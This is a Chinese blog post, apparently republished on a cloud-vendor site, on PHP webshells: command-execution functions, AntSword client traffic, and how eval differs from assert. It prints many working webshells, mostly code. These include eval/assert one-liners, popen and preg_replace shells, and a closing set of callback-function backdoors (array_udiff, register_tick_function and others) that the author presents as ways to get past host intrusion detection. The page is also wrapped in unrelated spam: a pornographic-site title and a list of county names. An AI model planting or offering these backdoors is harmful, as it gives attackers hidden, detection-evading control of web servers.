中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

分析webshell以及eval與assert區別是什么

發布時間:2021-10-18 10:48:54 來源:億速云 閱讀:408 作者:柒染 欄目:網絡管理

本篇文章給大家分享的是有關分析webshell以及eval與assert區別是什么,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

webshell分類

一句話木馬

可以在目標服務器上執行PHP代碼,并和客戶端(如菜刀,Cknife、冰蝎、蟻劍)進行交互的webshell,俗稱小馬。

多功能木馬

根據PHP語法,編寫較多代碼,并在服務器上執行,完成所有功能的Webshell,俗稱大馬

邏輯木馬

利用系統邏輯漏洞(如php uaf漏洞),繞過訪問控制或執行特殊功能的WebShell

PHP 可執行系統命令的函數

system

string system ( string $command [, int &$return_var ] );
# $command為執行的命令,&return_var可選,用來存放命令執行后的狀態碼
# system 函數執行有回顯,可將結果顯示在頁面上

<?php
	system("whoami");
?>

passthru

void passthru ( string $command [, int &$return_var ] );
# 和system函數類似,$command為執行的命令,&return_var可選,用來存放命令執行后的狀態碼
# passthru 執行有回顯,可將執行結果顯示在頁面上

<?php
	passthru("whoami");
?>

exec

string exec ( string $command [, array &$output [, int &$return_var ]] );
# $command是要執行的命令
# $output是獲得執行命令輸出的每一行字符串,$return_var用來保存命令執行的狀態碼(檢測成功或失敗)
# exec()函數執行無回顯,默認返回最后一行結果

<?php
	echo exec("whoami");
?>

<?php  
$test = "ipconfig";   
exec($test,$array);      
print_r($array);  
?>

shell_exec

string shell_exec( string &command);
# $command是要執行的命令
# shell_exec()函數默認無回顯,通過 echo 可將執行結果輸出到頁面

<?php
	echo shell_exec("whoami");
?>
# `(反引號) shell_exec() 函數實際上僅是反引號 (`) 操作符的變體,當禁用shell_exec時,` 也不可執行
# 在php中稱之為執行運算符,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,并將其輸出信息返回

<?php
	echo `whoami`;
?>

popen

resource popen ( string $command , string $mode );
# 函數需要兩個參數,一個是執行的命令command,另外一個是指針文件的連接模式mode,有r和w代表讀和寫。函數不會直接返回執行結果,而是返回一個文件指針,但是命令已經執行。popen()打開一個指向進程的管道,該進程由派生給定的command命令執行而產生。返回一個和fopen()所返回的相同的文件指針,只不過它是單向的(只能用于讀或寫)并且必須用pclose()來關閉。此指針可以用于fgets(),fgetss()和 fwrite()
<?php  
$command = $_POST[cmd];  
$fp = popen($command,"r");
  
while (!feof($fp)) {
 $out = fgets($fp, 4096);  
 echo  $out;
}  
pclose($fp);  
?>

proc_open

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
);
# 與Popen函數類似,但是可以提供雙向管道
<?php  
$command = $_POST[cmd];  
$array =   array(  
 array("pipe","r"),   //標準輸入  
 array("pipe","w"),   //標準輸出內容  
 array("pipe","w")    //標準輸出錯誤  
 );  
  
$fp = proc_open($command,$array,$pipes);   //打開一個進程通道  
echo stream_get_contents($pipes[1]);    //為什么是$pipes[1],因為1是輸出內容  
proc_close($fp);  
?>

pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
# path是可執行二進制文件路徑或一個在文件第一行指定了 一個可執行文件路徑標頭的腳本
# args是一個要傳遞給程序的參數的字符串數組。
# pcntl是linux下的一個擴展,需要額外安裝,可以支持 php 的多線程操作。
# pcntl_exec函數的作用是在當前進程空間執行指定程序,版本要求:PHP > 4.2.0

蟻劍連接webshell分析

上述函數都是可以作為一個簡單的webshell執行一些系統的命令,那么與客戶端(菜刀,CKnife,蟻劍,冰蝎)完成交互的webshell是什么樣的呢?

準備一個一句話木馬

<?php @eval($_POST['cmd']);?>

在蟻劍添加手動代理,用Burp抓包分析,如下圖所示:

分析webshell以及eval與assert區別是什么分析webshell以及eval與assert區別是什么

將cmd參數解碼可以看到

// 臨時關閉PHP的錯誤顯示功能
@ini_set("display_errors", "0");
// 設置執行時間,為零說明永久執行直到程序結束,是為了防止像dir、上傳文件大馬時超時。
@set_time_limit(0);
// asenc方法,接收參數,返回參數
function asenc($out){
    return $out;
};
function asoutput(){
    // 從緩沖區取出數據
    $output=ob_get_contents();
    // 清空緩沖區,并將緩沖區關閉
    ob_end_clean();
    echo "b48a94c80a";
    // 輸出數據
    echo @asenc($output);
    echo "606e3eed3";
}
// 打開緩沖區,來保存所有的輸出
ob_start();
try{
    // $_SERVER["SCRIPT_FILENAME"]是獲取當前執行腳本的絕對路徑,dirname() 函數返回路徑中的目錄名稱部分,也就是說$D是當前執行腳本所在的目錄
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        // $_SERVER["PATH_TRANSLATED"]獲取當前腳本所在文件系統(不是文檔根目錄)的基本路徑。這是在服務器進行虛擬到真實路徑的映像后的結果
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 拼接字符串和一個制表位
    $R="{$D}	";
    // 判斷是否為Linux的文件目錄
    if(substr($D,0,1)!="/"){
        // 遍歷盤符
        foreach(range("C","Z")as $L)
            // 如果存在盤符
            if(is_dir("{$L}:"))
                // 拼接字符串
                $R.="{$L}:";
    }else{
        // 否則拼接/
        $R.="/";
    }
    // 拼接制表位
    $R.="	";
    // 判斷posix_getegid方法是否存在,存在調用該方法按用戶id返回用戶相關信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    // 如果用戶信息不為空,則返回name屬性,否則調用get_current_user()方法
    $s=($u)?$u["name"]:@get_current_user();
    // 返回運行 PHP 的系統的有關信息 并拼接
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
    ;}
catch(Exception $e){
    // 捕獲異常
    echo "ERROR://".$e->getMessage();
};
// 運行程序
asoutput();
die();

將此代碼放置在eval函數中執行,返回結果如下圖所示:

分析webshell以及eval與assert區別是什么這說明了eval函數將字符串按照php code解析并執行了,所以客戶端只要構造好相應的php code,發送給服務器上的webshell,則可以執行并返回。

當我們再使用列目錄的時候截斷,可以看到如下圖所示,蟻劍客戶端還是將封裝好的代碼發送給了服務端的webshell

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "7322e6777";
    echo @asenc($output);
    echo "7529076fb4d2";
}
ob_start();
try{
    $D=base64_decode($_POST["od0d1a967133cb"]);
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){
            $P=$D.$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R="	".$T."	".@filesize($P)."	".$E."	";
            if(@is_dir($P))
                $M.=$N."/".$R;
            else $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    };
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==

其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,這個od0d1a967133cb key的value值是base64解碼之后就是我的web服務的根目錄,可以看見,其實用于eval函數執行的代碼都是大體相同的,只是更改了try-catch代碼塊中的邏輯,對于傳統的webshell管理工具,連接webshell并且執行相關命令需要使用類似eval,assert等函數將字符串當作php代碼執行的性質,當連接成功之后,就可以利用當前web容器可解析的語言執行代碼,并完成相關的操作。

分析webshell以及eval與assert區別是什么這里總結一下,腳本要將字符串(或文件流)當做PHP代碼來執行,主要會使用到以下函數:

eval:PHP 4,PHP 5,PHP 7+ 均可用,接收一個參數,將字符串作為PHP代碼執行

<?php
	eval("echo system('whoami');");
?> 
//一句話
<?php
	@eval($_POST['cmd']);
?>

assert: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一個參數,PHP5.4.8版本后可以接受兩個參數

<?php
	assert("system('whoami')");
?> 
// 一句話
<?php
	assert($_POST['cmd']);
?>
<?php
	assert($_GET['cmd']);
?>

正則匹配類:prge_replacemb_erge_replaceprge_filter

// php5.5.0 以下 /e參數還能執行
<?php
	preg_replace("/test/e","system('whoami')","jutst test");
?> 
// 一句話
<?php
    preg_replace("/test/e",@eval($_POST['cmd']),"jutst test");
?>
<?php
    preg_replace("/test/e",$_POST['cmd'],"jutst test");
?>
// php5.5.0+ /e 參數不能使用,推薦使用preg_replace_callback
<?php
	function result(){
		return system("whoami");
	}
	preg_replace_callback("//","result","");
?>
// 一句話馬
<?php
    function result(){
		return @eval($_POST['h']);
	}
    preg_replace_callback("//","result","");
?>

文件包含類:includeinclude_once,require,require_once,file_get_contents

eval與assert函數的區別

話說做webshell檢測的時候,因為要繞過HIDS,常規的一句話木馬,大馬都基本上會被攔截,不得不去找了一些php提供的”安全函數“(ps,這里我所指的“安全函數”是php的內置的回調函數,因為本身這些方法都是php自提供的,所以還是一定程度上可以繞過的)。開始使用的時候發現eval不能作為回調函數的后門?而是要用assert函數來代替eval?

意思就是當我們構造一個雙變量馬的時候,不能使用1=eval&2=xxx來使用,而只能使1=assert&2=command做為密碼連接,或者1=system&2=whoami來執行命令

好奇心害死貓

查看官方文檔,他告知我如下:

eval是一個語言構造器,而不是一個函數,不能被可變函數調用;

然后我又去查詢什么是可變函數,官方的定義如下:

PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途,可變函數不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。

到這里其實官方已經說得很清楚了,但是我還是想一探究竟,深入淺出

安裝vld擴展(這里提示,安裝擴展在linux下,且php是自編譯的,安裝擴展是最簡單的)

使用vld擴展,可以清楚的看到php5php7assert函數,eval函數在opcode中執行過程

關于php解釋型語言以及opcode的一些解釋

php是解釋型語言,所謂“解釋型語言”就是指用這種語言寫的程序不會被直接編譯為本地機器語言(native machine language),而是會被編譯為一種中間形式(代碼),很顯然這種中間形式不可能直接在CPU上執行(因為CPU只能執行本地機器指令),但是這種中間形式可以在使用本地機器指令(如今大多是使用C語言)編寫的軟件上執行。

PHP使用主要虛擬機(Zend虛擬機,譯注:HHVM也是一種執行PHP代碼的虛擬機,但很顯然Zend虛擬機還是目前的主流)可以分為兩大部分,它們是緊密相連的:

  • 編譯棧(compile stack):識別PHP語言指令,把它們轉換為中間形式

  • 執行棧(execution stack):獲取中間形式的代碼指令并在引擎上執行,引擎是用C或者匯編編寫成的

OPCode

Zend VM的一個OPCode對應虛擬機的一個底層操作。Zend虛擬機有很多OPCode:它們可以做很多事情。隨著PHP的發展,也引入了越來越多的OPCode,這都是源于PHP可以做越來越多的事情。可以在PHP的源代碼文件Zend/zend_vm_opcodes.h中看到所有的OPCode。

Zend VM的每個OPCode的工作方式都完全相同:它們都有一個handler(譯注:在Zend VM中,handler是一個函數指針,它指向OPCode對應的處理函數的地址,這個處理函數就是用于實現OPCode具體操作的),這是一個C函數,這個函數就包含了執行這個OPCode時會運行的代碼(例如“add”,它就會執行一個基本的加法運算)。每個handler都可以使用0、1或者2個操作數:op1和op2,這個函數運行后,它會后返回一個結果,有時也會返回一段信息(extended_value)

php5

如下圖所示,可以看到evalINCLUDE_OR_EVAL去處理,而assert是用DO_FCALL去處理

分析webshell以及eval與assert區別是什么在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看見DO_FCALL這個OPCode的具體操作

DO_FCALL

分析webshell以及eval與assert區別是什么在這里說一下第一個判斷條件,因為確實不懂,在網上找了與一下相關的解釋

//如果EG(active_op_array)->run_time_cache[]數組中存在這個值,就取出來,畢竟C原生態數組取數據速度要遠遠超過zend_hash_quick_find(畢竟他要計算hash值,還要遍歷,不能達到真正的O(1)
if (CACHED_PTR(opline->op1.literal->cache_slot)) {
    ce = CACHED_PTR(opline->op1.literal->cache_slot);
}

然后如果C原生態數組里沒有這個函數,就會進入else if中,進行一個哈希查找,并把函數指針放入 EX(function_state).function,最后再調用該函數

INCLUDE_OR_EVAL

到這里就可以看到為什么eval參數中必須是php代碼,而不是命令,當在eval中的參數為命令的時候,就會出現eval() 'd code的錯誤,當參數為php代碼的時候,就會直接編譯執行參數。

分析webshell以及eval與assert區別是什么

從OPCode中可以看到,eval就是Zend函數,assert是宏編寫的,最后在調用上是不同的,如下圖所示,eval就不是宏定義的

分析webshell以及eval與assert區別是什么php7

在php7+中,assert斷言也已經成為語言解釋器,再也不是函數了,所以在php7中使用assert作為回調后門不能成功的原因就在于此

分析webshell以及eval與assert區別是什么

回調后門函數

給大家留點彩蛋吧哈哈哈,我實在太菜了

register_shutdown_function

// (PHP 4, PHP 5, PHP 7)
// register_shutdown_function — 注冊一個會在php中止時執行的函數
// register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
// php7+ 存在立即執行函數(function($a){@eval($a)})($_POST['cmd'])
<?php
function test($a){
@eval("$a");
}
register_shutdown_function(test,$_POST['cmd']);
?>

array_udiff_assoc

// (PHP 5, PHP 7)
// array_udiff_assoc — 帶索引檢查計算數組的差集,用回調函數比較數據
// array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
    function test($a){
        @eval($a);
    }
    array_udiff_assoc(array($_REQUEST['h']),array(1),"test");
?>

array_intersect_uassoc

// (PHP 5, PHP 7)
// array_intersect_uassoc — 帶索引檢查計算數組的交集,用回調函數比較索引
// array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"assert");
?>
<?php
    array_intersect_uassoc(array($_REQUEST[h]=>" "),array(1),"system");
?>

forward_static_call_array

// forward_static_call_array — 調用靜態方法并將參數作為數組傳遞
// forward_static_call_array ( callable $function , array $parameters ) : mixed
<?php
	forward_static_call_array("assert",array($_REQUEST['h']));
?>
<?php
	forward_static_call_array("system",array($_REQUEST['h']));
?>

array_intersect_ukey

// (PHP 5 >= 5.1.0, PHP 7)
// array_intersect_ukey — 用回調函數比較鍵名來計算數組的交集
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"assert");
?>
<?php
    array_intersect_ukey(array($_REQUEST['h']=>1),array(1),"system");
?>

register_tick_function

// register_tick_function — 注冊一個函數,以便在每次被標記時執行
// register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
<?php
	declare(ticks=1);
	register_tick_function("assert", $_REQUEST['h']);
?>
<?php
	declare(ticks=1);
	register_tick_function("system", $_REQUEST['h']);
?>

array_reduce

// (PHP 4 >= 4.0.5, PHP 5, PHP 7)
// array_reduce — 用回調函數迭代地將數組簡化為單一的值
// array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed
<?php
	$arr = array(1);
	array_reduce($arr, "assert", $_REQUEST['h']);
?>
<?php
	$arr = array(1);
	array_reduce($arr, "system", $_REQUEST['h']);
?>

array_udiff

// (PHP 5, PHP 7)
// array_udiff — 用回調函數比較數據來計算數組的差集
// array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array
<?php
	$arr = array($_POST['h']);
	$arr2 = array(1);
	array_udiff($arr, $arr2, "assert");
?>
<?php
	$arr = array($_POST['h']);
	$arr2 = array(1);
	array_udiff($arr, $arr2, "system");
?>

以上就是分析webshell以及eval與assert區別是什么,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

临邑县| 无棣县| 互助| 萝北县| 东源县| 无极县| 桂平市| 晋宁县| 岑巩县| 湖北省| 磐安县| 肇东市| 无极县| 潮安县| 沈阳市| 景洪市| 清远市| 平顺县| 攀枝花市| 宜阳县| 西吉县| 上思县| 榕江县| 武平县| 天全县| 阳原县| 新昌县| 自贡市| 安宁市| 陇西县| 抚顺县| 遂昌县| 利辛县| 福清市| 长岛县| 五原县| 呼和浩特市| 炉霍县| 吉安市| 金平| 冕宁县|